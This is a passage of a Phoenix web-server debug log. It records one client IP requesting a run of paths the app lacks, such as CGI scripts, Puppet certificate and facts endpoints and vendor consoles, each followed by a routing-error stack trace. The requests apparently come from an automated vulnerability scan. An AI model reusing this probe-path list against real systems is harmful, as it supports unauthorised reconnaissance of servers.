    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:01:17.478000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:52544] GET /1788422476/facts/78.47.213.211
[Thu Sep  3 08:01:17.487000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:52544] ** (Phoenix.Router.NoRouteError) no route found for GET /1788422476/facts/78.47.213.211 (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:01:17.958000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:52544] GET /1788422476/certificate/78.47.213.211
[Thu Sep  3 08:01:17.966000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:52544] ** (Phoenix.Router.NoRouteError) no route found for GET /1788422476/certificate/78.47.213.211 (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:01:18.390000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:52544] GET /v2.0/environments/78.47.213.211
[Thu Sep  3 08:01:18.404000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:52544] ** (Phoenix.Router.NoRouteError) no route found for GET /v2.0/environments/78.47.213.211 (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:01:18.864000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:52544] GET /puppet-ca/v1/certificate/78.47.213.211
[Thu Sep  3 08:01:18.882000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:52544] ** (Phoenix.Router.NoRouteError) no route found for GET /puppet-ca/v1/certificate/78.47.213.211 (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:01:19.369000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:52544] GET /puppet/v3/facts/78.47.213.211
[Thu Sep  3 08:01:19.393000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:52544] ** (Phoenix.Router.NoRouteError) no route found for GET /puppet/v3/facts/78.47.213.211 (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:01:26.292000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:51388] GET /
[Thu Sep  3 08:01:26.293000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:51388] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:01:26.293000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:51388] Sent 200 in 1ms
[Thu Sep  3 08:01:31.577000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:51398] GET /NmConsole/
[Thu Sep  3 08:01:31.601000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:51398] ** (Phoenix.Router.NoRouteError) no route found for GET /NmConsole (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:01:33.321000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:51712] GET /
[Thu Sep  3 08:01:33.322000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:51712] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:01:33.323000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:51712] Sent 200 in 1ms
[Thu Sep  3 08:01:36.575000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:51714] GET /homepage/auth/login
[Thu Sep  3 08:01:36.596000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:51714] ** (Phoenix.Router.NoRouteError) no route found for GET /homepage/auth/login (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:01:40.661000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:51716] GET /progs/homepage
[Thu Sep  3 08:01:40.685000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:51716] ** (Phoenix.Router.NoRouteError) no route found for GET /progs/homepage (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:01:41.280000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:51722] GET /cgi-bin/printenv
[Thu Sep  3 08:01:41.300000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:51722] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/printenv (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:01:42.155000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:51734] GET /login
[Thu Sep  3 08:01:42.187000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:51734] ** (Phoenix.Router.NoRouteError) no route found for GET /login (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:01:48.225000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:43234] GET /ad_click.asp
[Thu Sep  3 08:01:48.241000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:43234] ** (Phoenix.Router.NoRouteError) no route found for GET /ad_click.asp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:01:49.013000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:43248] GET /index.php
[Thu Sep  3 08:01:49.038000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:43248] ** (Phoenix.Router.NoRouteError) no route found for GET /index.php (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:01:50.750000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:43258] GET /dagent/proxyreg.asp
[Thu Sep  3 08:01:50.766000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:43258] ** (Phoenix.Router.NoRouteError) no route found for GET /dagent/proxyreg.asp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:01:53.417000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53664] GET /cgi-bin/client_execute.cgi
[Thu Sep  3 08:01:53.455000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53664] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/client_execute.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:01:54.150000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53672] GET /wrcontrollite.ssi
[Thu Sep  3 08:01:54.172000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53672] ** (Phoenix.Router.NoRouteError) no route found for GET /wrcontrollite.ssi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:01:54.870000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53692] GET /login1.htm
